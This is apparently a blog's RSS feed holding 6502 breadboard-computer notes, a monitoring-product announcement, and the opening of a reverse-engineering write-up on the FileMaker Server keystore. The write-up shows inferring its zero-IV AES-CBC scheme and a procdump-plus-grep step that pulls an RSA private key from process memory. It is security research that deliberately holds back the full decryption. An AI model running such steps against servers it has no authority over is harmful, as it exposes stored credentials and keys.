&lt;li&gt;The W65C22 is made to work alongside the 6502 microprocessor. Essentially, it has D0 to D7 pins that we can connect to our data bus, PHI2 to connect our clock signal to, RW to be in sync with the read/write of the 6502 and chip select pins to indicate when the 6502 is talking to the 65C22. The Port A and Port B pins of the 65C22 can be used for I/O. For example, we can latch data from the data pins to eventually send it to some other device (capture the data lines during a write, and then hold the value until we need it, while the processor can already continue doing other things). We also wire up the reset pin (RESB, active low) to our existing reset button.&lt;/li&gt;
&lt;li&gt;How can we implement the address decode logic to know when the W65C22 needs to be active? We want the 2 CS (chip select) pins to be active (high and low) when the microprocessor has &lt;code&gt;0x6000&lt;/code&gt; (0110 0000 0000 0000) on its address pins. The first two bits can go through NAND gates to output 0 when they are matching 0 (A15) and 1 (A14). This 0 can go directly to the CS2 which is an active low. A13 can be connected directly to CS1 as it&amp;rsquo;s an active high. With this setup the W65C22 will be enabled from &lt;code&gt;0x6000&lt;/code&gt; (0110 0000 0000 0000) to &lt;code&gt;0x7fff&lt;/code&gt; (0111 1111 1111 1111) (as we don&amp;rsquo;t specifically handle the bits below A13).&lt;/li&gt;
&lt;li&gt;Now we just need to wire up the register select pins, so that we can output from a register through the port A and port B pins (or use other functions). We will use the lower bits of the address (A0 to A3) to control this register selection.&lt;/li&gt;
&lt;li&gt;Verify the wiring with a program that outputs to port B: &lt;code&gt;A9 FF 8D 02 60 A9 55 8D 00 60 A9 AA 8D 00 60 4C 05 80 ... 00 80 ...&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;load &lt;code&gt;0xff&lt;/code&gt; into the A register of the 6502 (&lt;code&gt;0xff&lt;/code&gt; such that we set all the bits (1111 1111) of the data direction register on the 65C22 to output, 1 meaning &amp;ldquo;output&amp;rdquo;, see datasheet)&lt;/li&gt;
&lt;li&gt;store the contents of the A register to address &lt;code&gt;0x6002&lt;/code&gt; (addressing data direction register B which is register 2, addressed as &lt;code&gt;0x6002&lt;/code&gt; as A0 to A3 have to be &lt;code&gt;0010&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;now that we&amp;rsquo;ve set all pins of port B to output, we can store the value we want to latch, targeting register 0 (register &amp;ldquo;B&amp;rdquo;) at &lt;code&gt;0x6000&lt;/code&gt;. We are writing &lt;code&gt;0x55&lt;/code&gt; to just light up every other LED connected to port B (as &lt;code&gt;0x55&lt;/code&gt; is 0101 0101). The instruction is: &lt;code&gt;A9 55 8D 00 60&lt;/code&gt; (&lt;code&gt;lda #$55&lt;/code&gt;, &lt;code&gt;sta $6000&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;to make the LEDs blink, we can next flip the bits of &lt;code&gt;0x55&lt;/code&gt; (0101 0101), writing &lt;code&gt;0xaa&lt;/code&gt; (1010 1010) using &lt;code&gt;lda&lt;/code&gt; (&lt;code&gt;0xa9&lt;/code&gt;) and &lt;code&gt;sta&lt;/code&gt; (&lt;code&gt;0x8d&lt;/code&gt;) again&lt;/li&gt;
&lt;li&gt;and then create an inifite loop by jumping back to the instruction of loading &lt;code&gt;0x55&lt;/code&gt; (which was at location &lt;code&gt;0x8005&lt;/code&gt;): &lt;code&gt;4C 05 80&lt;/code&gt; (&lt;code&gt;0x4c&lt;/code&gt; being the opcode for &lt;code&gt;JMP&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;we keep the start address at &lt;code&gt;0x8000&lt;/code&gt; (&lt;code&gt;0x0000&lt;/code&gt; in the ROM) as we start reading the program from the beginning of the ROM&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="part-3"&gt;Part 3&lt;/h2&gt;
&lt;p&gt;Video: &lt;a href="https://www.youtube.com/watch?v=oO8_2JJV0B4"&gt;Assembly language vs. machine code&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Notes and steps taken:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Write the previous program in assembly and use the &lt;a href="http://sun.hasenbraten.de/vasm/"&gt;vasm&lt;/a&gt; assembler to convert it back to machine code&lt;/li&gt;
&lt;li&gt;Some hint regarding structuring the assembly code:
&lt;ul&gt;
&lt;li&gt;Use &lt;code&gt;.org&lt;/code&gt; directive to indicate to the assembler at which location the program is to be expected in memory. So &lt;code&gt;.org $8000&lt;/code&gt; would indicate that the instruction after this directive is to be found at address &lt;code&gt;0x8000&lt;/code&gt; (which of course is actually &lt;code&gt;0x0000&lt;/code&gt; in the ROM). In the same way we can use &lt;code&gt;.org $fffc&lt;/code&gt; to set the start address of the program. Writing &lt;code&gt;.word $8000&lt;/code&gt; after this &lt;code&gt;.org&lt;/code&gt; directive would thus be equivalent to setting the values &lt;code&gt;00 80&lt;/code&gt; to &lt;code&gt;0x7ffc&lt;/code&gt; and &lt;code&gt;0x7ffd&lt;/code&gt; in the ROM file. Remember that without the &lt;code&gt;.org $8000&lt;/code&gt; directive, the assembler wouldn&amp;rsquo;t know that our program on the ROM maps to &lt;code&gt;0x8000&lt;/code&gt; to the microprocessor and would expect it to start at &lt;code&gt;0x0000&lt;/code&gt;. This in turn would let the assembler write the start address to &lt;code&gt;0xfffc&lt;/code&gt; instead of &lt;code&gt;0x7ffc&lt;/code&gt; leading to a rom file twice the size (from &lt;code&gt;0x0000&lt;/code&gt; to &lt;code&gt;0xffff&lt;/code&gt;, so 65,536 instead of 32,768 bytes).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Improve program to use labels, then change it to output a different LED pattern: start with &lt;code&gt;0x50&lt;/code&gt; (0101 0000), then &lt;code&gt;ror&lt;/code&gt; (rotate right) to let the active LEDs move to the right.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="part-4"&gt;Part 4&lt;/h2&gt;
&lt;p&gt;Video: &lt;a href="https://www.youtube.com/watch?v=FY3zTUaykVo"&gt;Connecting an LCD to our computer&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Notes and steps taken:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Connect HD44780 LCD display to breadboard; add a variable resistor to be able to adjust brightness, connect port B lines from W65C22 to the data lines (D0 to D7) of the display; connect the three top bit pins from port A of the W65C22 to the control pins RS (register select), RW (read/write) and E (enable) of the display.&lt;/li&gt;
&lt;li&gt;The data lines of the display are able to access a data register (DR) or an instruction register (IR) – which register is actually accessed/written to is determined by the control signals that we connected to port A of the W65C22. RS (register select) high means we are targeting the data register, RS low means we are targeting the instruction register (for controlling the behavior of the display). The actual reads or writes are happening once the E (enable) pin is set high.&lt;/li&gt;
&lt;li&gt;Improve previous assembly program to set some constants for port A and B (&lt;code&gt;PORTA&lt;/code&gt;, &lt;code&gt;PORTB&lt;/code&gt;) and the data direction registers A and B (&lt;code&gt;DDRA&lt;/code&gt;, &lt;code&gt;DDRB&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;In addition to setting all pins of port B to output, we do the same for the connected top three bits of port A (&lt;code&gt;lda #%11100000&lt;/code&gt;, &lt;code&gt;sta DDRA&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;With the port A (top 3) and B (all) pins connected, we can send instructions to the display. Going through the example:
&lt;ul&gt;
&lt;li&gt;Set data length, number of lines and character size with RS = 0 (we want to send an instruction), R/W = 0 (we want to write), D5 = 1 (function set instruction), D4 = 1 (data length 8 bits), D3 = 1 (2 line display), D2 = 0 (5x8 dots per character), D1 and D2 aren&amp;rsquo;t relevant (see instructions in table 6 and table 13 in data sheet). Encoding this in our assembly program would be: &lt;code&gt;lda #%00111000&lt;/code&gt;, &lt;code&gt;sta PORTB&lt;/code&gt; (load the values for the data lines into the A register of the 6502, store contents of A register to address of register B/port B on W65C22). Then clear the control signals on port A: &lt;code&gt;lda #0&lt;/code&gt;, &lt;code&gt;sta PORTA&lt;/code&gt;. And then set the enable bit (E) to actually send the instructions to the display&amp;rsquo;s registers: &lt;code&gt;lda #E&lt;/code&gt;, &lt;code&gt;sta PORTA&lt;/code&gt; (where &lt;code&gt;E = %10000000&lt;/code&gt;) and immediately afterwards clear the control signals again.&lt;/li&gt;
&lt;li&gt;Continue in the same fashion for sending instructions for display on, entry mode (we want the address counter to increment with each character sent to have our text written left to right) and eventually to write a character.&lt;/li&gt;
&lt;li&gt;To write characters we need to set the register select (RS) to high to target the data register of the display and then put the ascii value of the character on the data lines and write it by toggling the enable bit&lt;/li&gt;
&lt;li&gt;Test out the program by writing it to the ROM, powering on the circuit and holding reset. We see the letters appear on the screen.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="part-5"&gt;Part 5&lt;/h2&gt;
&lt;p&gt;Video: &lt;a href="https://www.youtube.com/watch?v=xBjQVxVxOxc"&gt;What is a stack and how does it work?&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Notes and steps taken:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Improve &amp;ldquo;Hello World!&amp;rdquo; program by creating subroutines for &lt;code&gt;lcd_instruction&lt;/code&gt; and &lt;code&gt;print_char&lt;/code&gt; and then jumping there with &lt;code&gt;jsr&lt;/code&gt;, and returning with &lt;code&gt;rts&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Try the program again by writing it to the ROM. It doesn&amp;rsquo;t work anymore since we now use subroutines but don&amp;rsquo;t have a stack where to store the return addresses. So while the microprocessor tries to store the return address before jumping to the subroutine, there&amp;rsquo;s no hardware (RAM) available to actually store that address. And then, when &lt;code&gt;rts&lt;/code&gt; is called, there&amp;rsquo;s no way to retrieve the return address.&lt;/li&gt;
&lt;li&gt;The 6502 expects the stack to be in the memory area &lt;code&gt;0x0100&lt;/code&gt; to &lt;code&gt;0x01ff&lt;/code&gt; and has an 8-bit stack pointer (&lt;code&gt;0x00&lt;/code&gt; to &lt;code&gt;0xff&lt;/code&gt;, 256 bytes).&lt;/li&gt;
&lt;li&gt;We can use &lt;code&gt;txs&lt;/code&gt; to transfer a value from register X to the stack pointer (&lt;code&gt;ldx #$ff&lt;/code&gt;, &lt;code&gt;txs&lt;/code&gt;) if we want to initialize the stack pointer in the beginning (the stack grows downwards towards the lower addresses, just like on other platforms).&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="part-6"&gt;Part 6&lt;/h2&gt;
&lt;p&gt;Video: &lt;a href="https://www.youtube.com/watch?v=i_wrxBdXTgM"&gt;RAM and bus timing&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Notes and steps taken:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Install 62256 RAM chip (256k bits, 32 kilobytes)&lt;/li&gt;
&lt;li&gt;The pinout is the same as for the ROM chip, so we can just wire the address and data lines from the ROM chip to the address and data lines of the RAM chip. And the WE of the RAM can be connected to the RW pin of the 6502.&lt;/li&gt;
&lt;li&gt;The planned address layout will be: &lt;code&gt;0x0000&lt;/code&gt; to &lt;code&gt;0x3fff&lt;/code&gt; reserved for RAM (&lt;code&gt;0x0100&lt;/code&gt; to &lt;code&gt;0x1fff&lt;/code&gt; for stack), &lt;code&gt;0x8000&lt;/code&gt; to &lt;code&gt;0xffff&lt;/code&gt; for ROM (as before). We cannot just give the RAM the whole upper part of the 65,535 addresses as we still have to address the interface adapter (see above).&lt;/li&gt;
&lt;li&gt;While the RAM wouldn&amp;rsquo;t need all that space, it&amp;rsquo;s easier to build it this way; we just need to check that A15 and A14 are low to detect if we&amp;rsquo;re addressing the RAM (as this covers the addresses &lt;code&gt;0x000&lt;/code&gt; to &lt;code&gt;0x3fff&lt;/code&gt; (0011 1111 1111 1111)).&lt;/li&gt;
&lt;li&gt;We could wire up A14 and A15 of the microprocessor to OE (output enable, active low) and CS (chip select, active low) of the RAM as this would cause the RAM to only be active and output data whenever we&amp;rsquo;re in the above mentioned address range (with A14 high and A15 low we might still write to an area we&amp;rsquo;re not using, but it wouldn&amp;rsquo;t cause problems as we would never output that data). However, we haven&amp;rsquo;t yet looked at the timing of the microprocessor and RAM and if they would actually be compatible in our setup (as it takes some time to set up the address lines and control signals, and for the RAM to output valid data after it is addressed).&lt;/li&gt;
&lt;li&gt;Analyse read timing waveform of the RAM and compare to timing diagram of 6502&lt;/li&gt;
&lt;li&gt;We&amp;rsquo;re planning to run the processor at a maximum of 1 MHz and will calculate the timing based on that. So when looking at the timing diagrams mentioning nanosecond durations, we will assume that we have at least 1,000 nanoseconds in one clock-cycle.&lt;/li&gt;
&lt;li&gt;It can take up to 70 nanoseconds for the RAM to output valid data after the addresses and control signals are set up correctly, so the microprocessor needs to wait at least this amount of time before (or continue) reading the data after setting the address. There&amp;rsquo;s also an additional timing requirement by the microprocessor where the data must be held valid. Both are confirmed to be OK after analysing both datasheets.&lt;/li&gt;
&lt;li&gt;Trying to confirm the write sequence as well. We see that we need to make sure that CS (connected to A15 in our circuit) needs to go high before any of the other address bits change (same with RW&amp;lt;-&amp;gt;WE). We cannot expect this to be true based on the information in the datasheet. And the same is true for the timing when CS and/or WE go low before the beginning of a write.&lt;/li&gt;
&lt;li&gt;Can we slightly delay setting the CS to low after the address becomes valid and setting it to high before the address and data become invalid again? It turns out we can just tie it to the clock (phi2) because the clock rising falls into the range where the address is already valid and falls low before the address becomes invalid and RW goes high.&lt;/li&gt;
&lt;li&gt;With two logic gates we can make sure CS goes low only when the clock is high. We can connect A15 through a NAND gate to invert it (low becomes high) and connect this output together with the clock signal as inputs to another NAND gate, thus outputting a low only when the clock is high and A15 is low (i.e. high output of the first &amp;ldquo;inverter&amp;rdquo; NAND gate). The timing of the NAND gates themselves is short enough that it does not affect our circuit.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="part-7"&gt;Part 7&lt;/h2&gt;
&lt;p&gt;Video: &lt;a href="https://www.youtube.com/watch?v=omI0MrTWiMU"&gt;Subroutine calls, now with RAM&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Notes and steps taken:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Wire up A14 to OE, and A15 through the NAND gates to CS as described above&lt;/li&gt;
&lt;li&gt;Tie inputs to 4th NAND gate to high; just for good measure&lt;/li&gt;
&lt;li&gt;Improve &amp;ldquo;Hello World&amp;rdquo; program to clear screen when setting up the display in the beginning (&lt;code&gt;#%00000001&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>allgood.systems: Monitoring the duration of your background jobs</title><link>https://davidhamann.de/2023/09/26/allgood-monitoring-duration-cron-jobs/</link><pubDate>Tue, 26 Sep 2023 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2023/09/26/allgood-monitoring-duration-cron-jobs/</guid><description>&lt;p&gt;Since the launch of &lt;a href="https://allgood.systems"&gt;allgood.systems&lt;/a&gt; you were able to monitor if your background jobs, scheduled tasks, cron jobs, etc. were running whenever you expected them to be running.&lt;/p&gt;
&lt;p&gt;This was accomplished by defining an interval on allgood and then sending a request to a check-in URL at the end of your script.&lt;/p&gt;
&lt;p&gt;&lt;img alt="Configuring a job monitor" loading="lazy" src="https://davidhamann.de/images/allgood_configure_job.png"&gt;&lt;/p&gt;
&lt;p&gt;If the request didn&amp;rsquo;t arrive at the end of the specified interval, you would get a notification that your job is down.&lt;/p&gt;
&lt;p&gt;This still works the same way. But from now on you can also choose to send an additional request at the beginning of your jobs.&lt;/p&gt;
&lt;p&gt;This allows you to get an idea how long your jobs typically run (average, minimum and max are being displayed).&lt;/p&gt;
&lt;p&gt;&lt;img alt="Duration information for job monitors" loading="lazy" src="https://davidhamann.de/images/allgood_job_duration.png"&gt;&lt;/p&gt;
&lt;p&gt;You can learn more by &lt;a href="https://docs.allgood.systems/job-monitors/measure-duration-of-running-job"&gt;reading the documentation&lt;/a&gt; or &lt;a href="https://allgood.systems"&gt;just trying it out&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The feature is live as of now.&lt;/p&gt;
&lt;p&gt;As always, let me know if you have additional ideas that could be helpful.&lt;/p&gt;</description></item><item><title>Deciphering the FileMaker Server keystore</title><link>https://davidhamann.de/2023/05/29/deciphering-the-filemaker-keystore/</link><pubDate>Mon, 29 May 2023 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2023/05/29/deciphering-the-filemaker-keystore/</guid><description>&lt;h2 id="introduction"&gt;Introduction&lt;/h2&gt;
&lt;p&gt;While checking out how the &lt;a href="https://davidhamann.de/2023/03/16/upload-filemaker-files-without-pro-client/"&gt;FileMaker Pro to Server upload feature worked&lt;/a&gt;, I noticed that credentials were encrypted using a RSA public key before being sent to the server.&lt;/p&gt;
&lt;p&gt;I looked into FileMaker Server&amp;rsquo;s installation directory and found that the private key was stored in the &lt;code&gt;CStore/keystore&lt;/code&gt; file – at least I assumed it, as the file stores keys and values, where the keys are base64-encoded strings, one of them being &lt;code&gt;bWFjaGluZVByaXZhdGVLZXk=&lt;/code&gt;, or &lt;code&gt;machinePrivateKey&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;While the values are base64-encoded just like the keys, decoding them just reveals ciphertext, so you cannot really tell what you are looking at.&lt;/p&gt;
&lt;p&gt;Next to the &lt;code&gt;machinePrivateKey&lt;/code&gt; I saw several encoded file UUIDs which values represented the EAR (encryption at rest) &amp;ldquo;encryption password&amp;rdquo; for files hosted by the server. This became obvious when new entries appeared in the &lt;code&gt;keystore&lt;/code&gt; after uploading encrypted files and choosing to save the password (to be able to auto-open the files after a reboot).&lt;/p&gt;
&lt;p&gt;At this point I decided to spend some time to better understand how the keystore actually works, how secrets are protected and if I could replicate the encryption/decryption process to decipher the stored values.&lt;/p&gt;
&lt;p&gt;In this post I want to share what I figured out, but more so show my approach (including failed attempts), so that you can hopefully benefit from it when taking on similar problems. I will talk about learning from observing the data, doing memory dumps, attaching debuggers, and a little bit of cryptography.&lt;/p&gt;
&lt;h3 id="some-notes-before-you-read-on"&gt;Some notes before you read on&lt;/h3&gt;
&lt;p&gt;I generally believe it&amp;rsquo;s useful to have a better understanding of the inner workings of the systems you&amp;rsquo;re using on a daliy basis (and maybe even depend on) – to help with troubleshooting, to be able to judge what features to use or to ignore, what risks to accept and to make sense of (sometimes odd) software behaviors. In my opinion most of these things are better publicly documented than privately/exclusively shared.&lt;/p&gt;
&lt;p&gt;But I also talked to a couple of people and was advised to omit a few details, such that not a full decryption script is made available. In the last part I will thus skip over a few steps to keep it brief and don&amp;rsquo;t reveal the final part required to recreate the encryption key. I do, however, give pointers on where to look if you would like to try it yourself as an exercise.&lt;/p&gt;
&lt;div class="notice notice-danger"&gt;
 If you follow along with this article, please be aware that the actions taken can damage your FMS installation and hosted databases.
&lt;/div&gt;

&lt;p&gt;Lastly, I&amp;rsquo;m not a professional reverse engineer, so there might be more straightforward ways of tackling the same problem and mine are not necessarily the best/fastest (in fact I&amp;rsquo;ve later learned many things that could have led me to the result much more quickly).&lt;/p&gt;
&lt;p&gt;If you are still curious, please read on.&lt;/p&gt;
&lt;h2 id="first-insights-by-looking-at-the-data"&gt;First insights by looking at the data&lt;/h2&gt;
&lt;p&gt;When you want to figure out an unknown encoding or encryption system it&amp;rsquo;s extremely helpful if you are able to observe how new data (entered by you) is encoded/encrypted.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s have a look what insights can be gained just by observing data.&lt;/p&gt;
&lt;p&gt;Opening the &lt;code&gt;keystore&lt;/code&gt; file (which is publicly readable by default, by the way), we can identify two things quickly:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;RTI2Q0M1RkJGOUEyNDQ1OEE3MzE0QjE0RUIyQkY4RTY=;9acSKigNs3IHuEikQeit1Q==
RTY2RDdBQjQ0NjgwNENCRjg2RjZCMDAxNkUwNzk3MTQ=;b442h3lSslgZ66HAwoSO7+jm1Xcw0O7DSmRlW9bkRrj7EUeRYaj8K6VEsLWSYh8x
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;First, it seems the &lt;code&gt;;&lt;/code&gt; is the separator. And second, based on the set of characters and padding at the end, the encoding looks like base64.&lt;/p&gt;
&lt;p&gt;To verify, we can do &lt;code&gt;echo -n RTY2RDdBQjQ0NjgwNENCRjg2RjZCMDAxNkUwNzk3MTQ= | base64 -d&lt;/code&gt; and observe the decoded data. In this case it&amp;rsquo;s &lt;code&gt;E66D7AB446804CBF86F6B0016E079714&lt;/code&gt;, which could be a &lt;a href="https://en.wikipedia.org/wiki/Universally_unique_identifier"&gt;UUID&lt;/a&gt; (16 bytes, in hexadecimal format). Of course, it could be other things, but in this context (identifying a file) it seems likely.&lt;/p&gt;
&lt;p&gt;Without knowing the details of the &lt;code&gt;fmp12&lt;/code&gt; file format, we could still quickly peak at the raw bytes of the hosted database to determine if this ID appears somewhere at the beginning of the file. And sure it does:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ xxd my_file.fmp12 | head -n 20
00000000: 0001 0000 0002 0001 0005 0002 0002 c048 ...............H
00000010: 4241 4d65 0000 1000 0000 0000 0000 0000 BAMe............
00000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................
... here it starts (16 bytes from position 250):
000000f0: 0000 0000 0000 0000 0000 e66d 7ab4 4680 ...........mz.F.
00000100: 4cbf 86f6 b001 6e07 9714 efb8 6c2e 2af4 L.....n.....l.*.
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Let&amp;rsquo;s now look at the part after the semicolon – the one that is more interesting, but currently looks like garbage.&lt;/p&gt;
&lt;p&gt;Base64-decoding the two samples from above, wee see:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ echo -n &amp;#39;9acSKigNs3IHuEikQeit1Q==&amp;#39; | base64 -d | xxd
00000000: f5a7 122a 280d b372 07b8 48a4 41e8 add5 ...*(..r..H.A...

$ echo -n &amp;#39;b442h3lSslgZ66HAwoSO7+jm1Xcw0O7DSmRlW9bkRrj7EUeRYaj8K6VEsLWSYh8x&amp;#39; | base64 -d | xxd
00000000: 6f8e 3687 7952 b258 19eb a1c0 c284 8eef o.6.yR.X........
00000010: e8e6 d577 30d0 eec3 4a64 655b d6e4 46b8 ...w0...Jde[..F.
00000020: fb11 4791 61a8 fc2b a544 b0b5 9262 1f31 ..G.a..+.D...b.1
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;While the data does not look useful at first sight, we can see that the first sample is 16 bytes long and the second one is 48 bytes long.&lt;/p&gt;
&lt;p&gt;Setting an EAR password to another file, uploading it and storing the password on the server, we can observe different ciphertext lengths for different plaintext lengths.&lt;/p&gt;
&lt;p&gt;If our EAR password is less than 16 bytes, we still get 16 bytes of ciphertext. If it&amp;rsquo;s greater than 16 bytes, but less than 32 bytes, we get 32 bytes of ciphertext.&lt;/p&gt;
&lt;p&gt;We can be relatively certain that the server only encrypts full blocks of 16 bytes, suggesting a block cipher with a size of 128 bits.&lt;/p&gt;
&lt;p&gt;Next, we can check if we get the same ciphertext on a different FileMaker Server installation. This is not the case, so the key is likely unique for every server.&lt;/p&gt;
&lt;p&gt;How about using the same EAR password for a different database file? Does this create a different ciphertext?&lt;/p&gt;
&lt;p&gt;After trying, we see that it does &lt;em&gt;not&lt;/em&gt; produce a different ciphertext. This means that the file identifier does not play a role in the encryption. It also means that a static key and no &lt;a href="https://en.wikipedia.org/wiki/Initialization_vector"&gt;initialization vector&lt;/a&gt; (or a static one) is used, since a different initialization vector would cause the ciphertext to be different, even if the same plaintext and key is used (assuming we have an IV and use &amp;ldquo;cipher-block chaining&amp;rdquo;; see explanation in box below).&lt;/p&gt;
&lt;p&gt;Another good test to verify this is to encrypt two EAR passwords which have the same first 16 bytes. For example:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;File 1: AAAAAAAAAAAAAAAA|AAAAAAAAAAAAAAAAAAAAAAAA
File 2: AAAAAAAAAAAAAAAA|A
 ^ 16 bytes
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;On my test server these two produce the following two ciphertexts:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;b442h3lSslgZ66HAwoSO7+jm1Xcw0O7DSmRlW9bkRrj7EUeRYaj8K6VEsLWSYh8x
b442h3lSslgZ66HAwoSO78+E2b55R4CaKGiFSnwfUeQ=
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Or as hex:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;00000000: 6f8e 3687 7952 b258 19eb a1c0 c284 8eef o.6.yR.X........
00000010: e8e6 d577 30d0 eec3 4a64 655b d6e4 46b8 ...w0...Jde[..F.
00000020: fb11 4791 61a8 fc2b a544 b0b5 9262 1f31 ..G.a..+.D...b.1

00000000: 6f8e 3687 7952 b258 19eb a1c0 c284 8eef o.6.yR.X........
00000010: cf84 d9be 7947 809a 2868 854a 7c1f 51e4 ....yG..(h.J|.Q.
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;You can clearly see that the first 16 bytes are exactly the same (just like the 16 bytes of the plaintext).&lt;/p&gt;
&lt;p&gt;Normally, you would not want your ciphertext to &amp;ldquo;leak&amp;rdquo; semantic information as shown and this is something that could certainly be improved.&lt;/p&gt;
&lt;div class="notice notice-info"&gt;
 If you were to encrypt every block of data with the same key, identical blocks of plaintext would produce identical blocks of ciphertexts. One strategy to prevent this is to let the results of each block influence the next block (so-called &amp;ldquo;&lt;strong&gt;cipher-block chaining&lt;/strong&gt;&amp;rdquo;). Here, each plaintext block is XORed with the previous ciphertext block (and subsequently encrypted).&lt;br&gt;&lt;br&gt;To kickstart this process, however, you need an additional input for the first block, and this is where the &lt;strong&gt;initialization vector&lt;/strong&gt; comes in. It will be used to XOR the first plaintext.&lt;br&gt;&lt;br&gt;If you were to experiment more, you would see that cipher-block chaining is indeed used for the FMS keystore values, but with an initialization vector of all zeros. This way you still output the same ciphertext blocks for identical plaintext blocks at the beginning.&lt;br&gt;&lt;br&gt;If you like to test this for yourself you can play around with &lt;code&gt;openssl&lt;/code&gt;. For example:&lt;br&gt;&lt;code&gt;openssl enc -aes-256-cbc -in test.txt -k &amp;lt;some-key-as-hex&amp;gt; -iv 00000000000000000000000000000000 -out test.enc&lt;/code&gt;.
&lt;/div&gt;

&lt;h2 id="just-read-the-docs"&gt;Just read the docs&lt;/h2&gt;
&lt;p&gt;Whenever you have documentation available, make sure to read it. It might give you pointers on how to narrow down the space of things to try next.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://help.claris.com/en/security-guide/content/encrypt-app.html"&gt;Claris&amp;rsquo; documentation&lt;/a&gt; has a statement on how passwords are stored:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;When you open an encrypted file on FileMaker Server or FileMaker Cloud, you can save the password to automatically open encrypted files when the server restarts. FileMaker employs a two-way AES-256 encryption that uses a composite key based on information from the machine to encrypt the password and stores the password securely on the server.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;(Unfortunately, as we will learn later, this is not entirely correct, so it&amp;rsquo;s also a good idea to second-guess/verify official information).&lt;/p&gt;
&lt;h2 id="what-do-we-know-so-far"&gt;What do we know so far?&lt;/h2&gt;
&lt;p&gt;Let&amp;rsquo;s recap on what we learned so far by just observing data and reading the docs:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The &lt;code&gt;keystore&lt;/code&gt; contains keys and values separated by semicolon&lt;/li&gt;
&lt;li&gt;Keys are just base64 encoded. Values are encrypted and base64 encoded&lt;/li&gt;
&lt;li&gt;We&amp;rsquo;re dealing with a block cipher (takes a fixed size block and outputs a block of the same size)&lt;/li&gt;
&lt;li&gt;The docs mention AES with 256-bit key&lt;/li&gt;
&lt;li&gt;A static (or no) initialization vector is used&lt;/li&gt;
&lt;li&gt;A static key is used&lt;/li&gt;
&lt;li&gt;The key is unique per installation and file IDs/properties don&amp;rsquo;t play a role here&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="a-lazy-try-just-dump-the-memory"&gt;A lazy try: just dump the memory&lt;/h2&gt;
&lt;p&gt;After looking at the data and the docs my first attempt was to test if some or all of the information of the &lt;code&gt;keystore&lt;/code&gt; can be retrieved in unencrypted form from memory. It&amp;rsquo;s unlikely we learn anything about how data is encrypted but we can check if the server cleans up secrets after use. Also, grepping through a memory dump is not a lot of effort, so you might as well give it a shot (which is why I labeled this &amp;ldquo;a lazy try&amp;rdquo;).&lt;/p&gt;
&lt;p&gt;My test server is running on Linux and I&amp;rsquo;m using &lt;a href="https://github.com/Sysinternals/ProcDump-for-Linux"&gt;&lt;code&gt;procdump&lt;/code&gt;&lt;/a&gt; (the Linux version of the original Windows SysInternals tool).&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s first figure out the process ID of &lt;code&gt;fmserverd&lt;/code&gt; with &lt;code&gt;pgrep fmserverd&lt;/code&gt; and then dump the memory with &lt;code&gt;procdump &amp;lt;pid&amp;gt;&lt;/code&gt;. The result is a dump with more than a gigabyte of size.&lt;/p&gt;
&lt;p&gt;Since we know the plaintext values that the server encrypted, we can &lt;code&gt;grep&lt;/code&gt; for these strings in the dump file.&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ strings fmserverd_time_2023-... | grep &amp;#39;some EAR password&amp;#39;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;No luck (which is a good thing, as you don&amp;rsquo;t want your secrets explosed like this). But what about the RSA private key that we expect to be the value of the key &lt;code&gt;machinePrivateKey&lt;/code&gt;?&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ strings fmserverd_time_2023-04-23_14\:37\:25.1001 | grep &amp;#39;BEGIN RSA PRIVATE&amp;#39; -A10

-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA27LEJB8uCqezntbENVPdrV/xTnnshR2fQPWFNr3Rcr10tjBa
...
